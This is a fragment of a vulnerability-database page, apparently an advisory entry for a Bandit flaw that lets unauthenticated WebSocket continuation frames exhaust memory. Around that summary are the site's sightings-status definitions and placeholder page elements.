  "summary": "Bandit Buffers Unbounded WebSocket Continuation Frames, Allowing Unauthenticated Memory Exhaustion"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…